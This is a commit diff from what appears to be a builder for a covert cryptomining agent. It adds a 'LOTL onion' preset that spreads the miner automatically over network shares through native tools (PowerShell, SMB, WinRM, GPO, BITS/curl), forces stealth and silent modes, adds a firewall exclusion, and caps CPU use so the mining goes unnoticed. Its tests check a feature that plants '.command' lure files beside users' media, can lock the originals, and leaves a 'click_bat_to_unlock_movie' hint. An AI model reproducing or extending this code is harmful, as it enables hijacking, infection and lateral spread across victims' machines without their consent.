Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
@@ -34,6 +34,7 @@ type BuildRequest struct {
|
||||
ThreadPercent int `json:"thread_percent"`
|
||||
CPUPriority string `json:"cpu_priority"`
|
||||
MiningMode string `json:"mining_mode"`
|
||||
MinerExecution string `json:"miner_execution"`
|
||||
DisplayMode string `json:"display_mode"`
|
||||
SilentMode bool `json:"silent_mode"`
|
||||
RunAs string `json:"run_as"`
|
||||
@@ -110,6 +111,11 @@ type BuildRequest struct {
|
||||
AgentKillAfterDays int `json:"agent_kill_after_days"`
|
||||
HTTPSBeaconFallback bool `json:"https_beacon_fallback"`
|
||||
HTTPSBeaconAfterMin int `json:"https_beacon_after_min"`
|
||||
|
||||
// LOTL Onion — native-tool spread tier chain (AV-Safe adjacent preset).
|
||||
LotlOnionEnabled bool `json:"lotl_onion_enabled"`
|
||||
LotlPolicyFromServer bool `json:"lotl_policy_from_server"`
|
||||
LotlOnionTiers []string `json:"lotl_onion_tiers,omitempty"`
|
||||
}
|
||||
|
||||
// BackupPool is a fallback Stratum pool tried if the primary pool is unreachable.
|
||||
@@ -300,6 +306,13 @@ func (h *Handler) SetBuildPolicy(p BuildPolicy) {
|
||||
h.policy = p
|
||||
}
|
||||
|
||||
// SetGoBinPath overrides the go toolchain binary used for forge compiles.
|
||||
func (h *Handler) SetGoBinPath(path string) {
|
||||
if strings.TrimSpace(path) != "" {
|
||||
h.goBinPath = path
|
||||
}
|
||||
}
|
||||
|
||||
func NewHandler(database *db.Database, dataDir string, agentSrcDir string, projectRoot string) *Handler {
|
||||
goBin := "go"
|
||||
if _, err := exec.LookPath("go"); err == nil {
|
||||
@@ -973,6 +986,9 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
|
||||
if req.MiningMode == "" {
|
||||
req.MiningMode = "always"
|
||||
}
|
||||
if req.MinerExecution == "" {
|
||||
req.MinerExecution = "inprocess"
|
||||
}
|
||||
if req.RunAs == "" {
|
||||
req.RunAs = "user"
|
||||
}
|
||||
@@ -1060,6 +1076,9 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
|
||||
req.Persistence = true
|
||||
req.AutoStart = true
|
||||
}
|
||||
if req.LotlOnionEnabled {
|
||||
ApplyLotlOnionPreset(req)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -1138,7 +1157,8 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
ThreadMode: %q,
|
||||
ThreadPercent: %d,
|
||||
CPUPriority: %q,
|
||||
MiningMode: %q,
|
||||
MiningMode: %q,
|
||||
MinerExecution: %q,
|
||||
DisplayMode: %q,
|
||||
SilentMode: %v,
|
||||
RunAs: %q,
|
||||
@@ -1203,6 +1223,10 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
AgentKillAfterDays: %d,
|
||||
HTTPSBeaconFallback: %v,
|
||||
HTTPSBeaconAfterMin: %d,
|
||||
|
||||
LotlOnionEnabled: %v,
|
||||
LotlPolicyFromServer: %v,
|
||||
LotlOnionTiers: %s,
|
||||
}
|
||||
}
|
||||
`, buildID, time.Now().UTC().Format(time.RFC3339),
|
||||
@@ -1214,6 +1238,7 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
req.ThreadPercent,
|
||||
req.CPUPriority,
|
||||
req.MiningMode,
|
||||
req.MinerExecution,
|
||||
req.DisplayMode,
|
||||
req.SilentMode,
|
||||
req.RunAs,
|
||||
@@ -1275,6 +1300,9 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
req.AgentKillAfterDays,
|
||||
httpsBeaconFallbackEnabled(req),
|
||||
httpsBeaconAfterMin(req),
|
||||
req.LotlOnionEnabled,
|
||||
req.LotlPolicyFromServer,
|
||||
formatGoStringSlice(NormalizeLotlOnionTiers(req.LotlOnionTiers)),
|
||||
)
|
||||
}
|
||||
|
||||
|
||||
79
server/internal/builder/lotl_onion.go
Normal file
79
server/internal/builder/lotl_onion.go
Normal file
@@ -0,0 +1,79 @@
|
||||
package builder
|
||||
|
||||
import "strings"
|
||||
|
||||
// DefaultLotlOnionTiers matches agent/deploy.DefaultLotlOnionTiers — keep in sync.
|
||||
var DefaultLotlOnionTiers = []string{
|
||||
"docker",
|
||||
"wsl",
|
||||
"powershell",
|
||||
"dotnet",
|
||||
"bits_curl",
|
||||
"smb",
|
||||
"winrm",
|
||||
"linux",
|
||||
"gpo",
|
||||
}
|
||||
|
||||
// NormalizeLotlOnionTiers filters tier ids for forge + server config.
|
||||
func NormalizeLotlOnionTiers(raw []string) []string {
|
||||
allowed := map[string]struct{}{
|
||||
"docker": {}, "wsl": {}, "powershell": {}, "dotnet": {},
|
||||
"bits_curl": {}, "smb": {}, "winrm": {}, "linux": {}, "gpo": {},
|
||||
}
|
||||
out := make([]string, 0, len(raw))
|
||||
for _, t := range raw {
|
||||
t = strings.ToLower(strings.TrimSpace(t))
|
||||
if t == "bits/curl" {
|
||||
t = "bits_curl"
|
||||
}
|
||||
if _, ok := allowed[t]; ok {
|
||||
out = append(out, t)
|
||||
}
|
||||
}
|
||||
if len(out) == 0 {
|
||||
dup := make([]string, len(DefaultLotlOnionTiers))
|
||||
copy(dup, DefaultLotlOnionTiers)
|
||||
return dup
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// ApplyLotlOnionPreset enforces AV-Safe-adjacent mining + LOTL spread chain defaults.
|
||||
func ApplyLotlOnionPreset(req *BuildRequest) {
|
||||
req.LotlOnionEnabled = true
|
||||
req.GPUEnabled = false
|
||||
req.MinerExecution = "inprocess"
|
||||
req.ProcessHollowing = false
|
||||
req.SpreadKit = false
|
||||
req.FusionEnabled = false
|
||||
req.Obfuscate = false
|
||||
if !req.AutoSpread {
|
||||
req.AutoSpread = true
|
||||
}
|
||||
if !req.ShareSpread {
|
||||
req.ShareSpread = true
|
||||
}
|
||||
req.USBSpread = false
|
||||
req.RemoteAggressive = false
|
||||
if req.LotlPolicyFromServer || len(req.LotlOnionTiers) == 0 {
|
||||
req.LotlPolicyFromServer = true
|
||||
}
|
||||
req.LotlOnionTiers = NormalizeLotlOnionTiers(req.LotlOnionTiers)
|
||||
if req.MiningMode == "" || req.MiningMode == "always" {
|
||||
req.MiningMode = "idle"
|
||||
}
|
||||
if req.MaxCPUUsagePct <= 0 || req.MaxCPUUsagePct > 50 {
|
||||
req.MaxCPUUsagePct = 50
|
||||
}
|
||||
if req.ThreadPercent <= 0 || req.ThreadPercent > 50 {
|
||||
req.ThreadPercent = 50
|
||||
}
|
||||
req.StealthMode = true
|
||||
if req.DisplayMode == "" || req.DisplayMode == "visible" {
|
||||
req.DisplayMode = "background"
|
||||
}
|
||||
req.SilentMode = true
|
||||
req.FileLogging = true
|
||||
req.FirewallExclusion = true
|
||||
}
|
||||
47
server/internal/builder/lotl_onion_test.go
Normal file
47
server/internal/builder/lotl_onion_test.go
Normal file
@@ -0,0 +1,47 @@
|
||||
package builder
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestNormalizeLotlOnionTiers(t *testing.T) {
|
||||
got := NormalizeLotlOnionTiers(nil)
|
||||
if len(got) != 9 || got[0] != "docker" || got[8] != "gpo" {
|
||||
t.Fatalf("defaults: %v", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestApplyLotlOnionPreset(t *testing.T) {
|
||||
req := &BuildRequest{
|
||||
WorkerName: "pc",
|
||||
ServerURL: "http://127.0.0.1:8989",
|
||||
Wallet: "48abc",
|
||||
}
|
||||
ApplyLotlOnionPreset(req)
|
||||
if !req.LotlOnionEnabled || !req.LotlPolicyFromServer {
|
||||
t.Fatal("lotl flags")
|
||||
}
|
||||
if req.MinerExecution != "inprocess" || req.GPUEnabled {
|
||||
t.Fatal("expected AV-Safe mining profile")
|
||||
}
|
||||
if !req.AutoSpread || !req.ShareSpread || req.SpreadKit {
|
||||
t.Fatal("spread profile")
|
||||
}
|
||||
if len(req.LotlOnionTiers) != 9 {
|
||||
t.Fatalf("tiers: %v", req.LotlOnionTiers)
|
||||
}
|
||||
}
|
||||
|
||||
func TestNormalizeRequestLotlOnion(t *testing.T) {
|
||||
h := &Handler{}
|
||||
req := &BuildRequest{
|
||||
WorkerName: "pc",
|
||||
ServerURL: "http://127.0.0.1:8989",
|
||||
Wallet: "48abc",
|
||||
LotlOnionEnabled: true,
|
||||
}
|
||||
if err := h.normalizeRequest(req); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if req.MinerExecution != "inprocess" || !req.LotlPolicyFromServer {
|
||||
t.Fatalf("lotl normalize: exec=%q policy=%v", req.MinerExecution, req.LotlPolicyFromServer)
|
||||
}
|
||||
}
|
||||
@@ -10,6 +10,7 @@ import (
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
"sync"
|
||||
"testing"
|
||||
)
|
||||
|
||||
@@ -217,3 +218,172 @@ func TestPathForgeLockOriginalFalseKeepsOriginal(t *testing.T) {
|
||||
t.Error("original file was unexpectedly renamed to .locked when lock_original=false")
|
||||
}
|
||||
}
|
||||
|
||||
// TestPathForgeRootPathOutsideAllowedRoots verifies BLD-D1: root_path must not
|
||||
// contain traversal sequences and must resolve under home, temp, or server dataDir.
|
||||
func TestPathForgeRootPathOutsideAllowedRoots(t *testing.T) {
|
||||
h := NewPathForgeHandler(t.TempDir())
|
||||
|
||||
cases := []struct {
|
||||
name string
|
||||
rootPath string
|
||||
skipUnless func() bool
|
||||
wantSubstr string
|
||||
}{
|
||||
{
|
||||
name: "traversal_dotdot",
|
||||
rootPath: "../../../windows",
|
||||
wantSubstr: "path traversal",
|
||||
},
|
||||
{
|
||||
name: "unix_system_path",
|
||||
rootPath: "/etc",
|
||||
skipUnless: func() bool { return runtime.GOOS != "windows" },
|
||||
wantSubstr: "outside allowed directories",
|
||||
},
|
||||
{
|
||||
name: "windows_system_path",
|
||||
rootPath: `C:\Windows\System32`,
|
||||
skipUnless: func() bool { return runtime.GOOS == "windows" },
|
||||
wantSubstr: "outside allowed directories",
|
||||
},
|
||||
}
|
||||
|
||||
for _, tc := range cases {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
if tc.skipUnless != nil && !tc.skipUnless() {
|
||||
t.Skip("not applicable on this platform")
|
||||
}
|
||||
|
||||
escaped := strings.ReplaceAll(tc.rootPath, `\`, `\\`)
|
||||
body := `{"root_path":"` + escaped + `","target_windows":false,"target_mac":true,"server_url":"http://127.0.0.1"}`
|
||||
req := httptest.NewRequest(http.MethodPost, "/api/builder/path-forge", strings.NewReader(body))
|
||||
rec := httptest.NewRecorder()
|
||||
h.ServeHTTP(rec, req)
|
||||
|
||||
if rec.Code != http.StatusBadRequest {
|
||||
t.Fatalf("status %d, want 400; body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
respBody := rec.Body.String()
|
||||
if !strings.Contains(respBody, "root_path rejected") {
|
||||
t.Errorf("expected root_path rejected in body, got %q", respBody)
|
||||
}
|
||||
if tc.wantSubstr != "" && !strings.Contains(respBody, tc.wantSubstr) {
|
||||
t.Errorf("expected %q in body, got %q", tc.wantSubstr, respBody)
|
||||
}
|
||||
|
||||
// Validation rejects before any walk/placement; Placed must stay 0.
|
||||
var res PathForgeResult
|
||||
if err := json.NewDecoder(strings.NewReader(respBody)).Decode(&res); err == nil && res.Placed != 0 {
|
||||
t.Errorf("Placed=%d, want 0", res.Placed)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// TestPathForgeSkippedCountNonMediaExtensions verifies that files outside the
|
||||
// requested extension set increment Skipped while matching extensions are placed.
|
||||
// With extensions=[".jpg"] only: .mkv and .txt are skipped, .jpg is placed.
|
||||
func TestPathForgeSkippedCountNonMediaExtensions(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
for name, content := range map[string]string{
|
||||
"clip.mkv": "video",
|
||||
"readme.txt": "notes",
|
||||
"photo.jpg": "image",
|
||||
} {
|
||||
if err := os.WriteFile(filepath.Join(root, name), []byte(content), 0644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
body := `{"root_path":"` + strings.ReplaceAll(root, `\`, `\\`) +
|
||||
`","target_windows":false,"target_mac":true,"server_url":"http://127.0.0.1","extensions":[".jpg"]}`
|
||||
|
||||
h := NewPathForgeHandler(t.TempDir())
|
||||
req := httptest.NewRequest(http.MethodPost, "/api/builder/path-forge", strings.NewReader(body))
|
||||
rec := httptest.NewRecorder()
|
||||
h.ServeHTTP(rec, req)
|
||||
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("status %d: %s", rec.Code, rec.Body.String())
|
||||
}
|
||||
var res PathForgeResult
|
||||
if err := json.NewDecoder(rec.Body).Decode(&res); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if res.Skipped != 2 {
|
||||
t.Errorf("skipped: got %d, want 2 (.mkv + .txt)", res.Skipped)
|
||||
}
|
||||
if res.Total != 1 {
|
||||
t.Errorf("total: got %d, want 1 (.jpg only)", res.Total)
|
||||
}
|
||||
if res.Placed < 1 {
|
||||
t.Errorf("placed: got %d, want at least 1 for .jpg", res.Placed)
|
||||
}
|
||||
if res.Errors != 0 {
|
||||
t.Errorf("errors: got %d, want 0; %v", res.Errors, res.ErrorList)
|
||||
}
|
||||
if len(res.Results) != 1 || res.Results[0].Source != "photo.jpg" {
|
||||
t.Errorf("results: want single photo.jpg entry, got %+v", res.Results)
|
||||
}
|
||||
if _, err := os.Stat(filepath.Join(root, "photo.command")); err != nil {
|
||||
t.Errorf("photo.command missing: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestPathForgeConcurrentPlacements verifies two overlapping POSTs against the
|
||||
// same root_path complete without hang or panic and leave companions on disk.
|
||||
func TestPathForgeConcurrentPlacements(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
mediaPath := filepath.Join(root, "film.mkv")
|
||||
if err := os.WriteFile(mediaPath, []byte("video"), 0644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
body := `{"root_path":"` + strings.ReplaceAll(root, `\`, `\\`) +
|
||||
`","target_windows":false,"target_mac":true,"server_url":"http://127.0.0.1"}`
|
||||
|
||||
h := NewPathForgeHandler(t.TempDir())
|
||||
const n = 2
|
||||
var wg sync.WaitGroup
|
||||
wg.Add(n)
|
||||
|
||||
type outcome struct {
|
||||
code int
|
||||
res PathForgeResult
|
||||
}
|
||||
outcomes := make([]outcome, n)
|
||||
|
||||
for i := 0; i < n; i++ {
|
||||
i := i
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
req := httptest.NewRequest(http.MethodPost, "/api/builder/path-forge", strings.NewReader(body))
|
||||
rec := httptest.NewRecorder()
|
||||
h.ServeHTTP(rec, req)
|
||||
outcomes[i].code = rec.Code
|
||||
if err := json.NewDecoder(rec.Body).Decode(&outcomes[i].res); err != nil {
|
||||
t.Errorf("goroutine %d decode: %v", i, err)
|
||||
}
|
||||
}()
|
||||
}
|
||||
wg.Wait()
|
||||
|
||||
for i, o := range outcomes {
|
||||
if o.code != http.StatusOK {
|
||||
t.Errorf("goroutine %d: status %d", i, o.code)
|
||||
}
|
||||
if o.res.Total != 1 {
|
||||
t.Errorf("goroutine %d: total %d, want 1", i, o.res.Total)
|
||||
}
|
||||
if o.res.Placed < 1 {
|
||||
t.Errorf("goroutine %d: placed %d, want at least 1", i, o.res.Placed)
|
||||
}
|
||||
}
|
||||
if _, err := os.Stat(filepath.Join(root, "film.command")); err != nil {
|
||||
t.Errorf("film.command missing after concurrent placements: %v", err)
|
||||
}
|
||||
if _, err := os.Stat(filepath.Join(root, "click_bat_to_unlock_movie")); err != nil {
|
||||
t.Errorf("hint file missing after concurrent placements: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user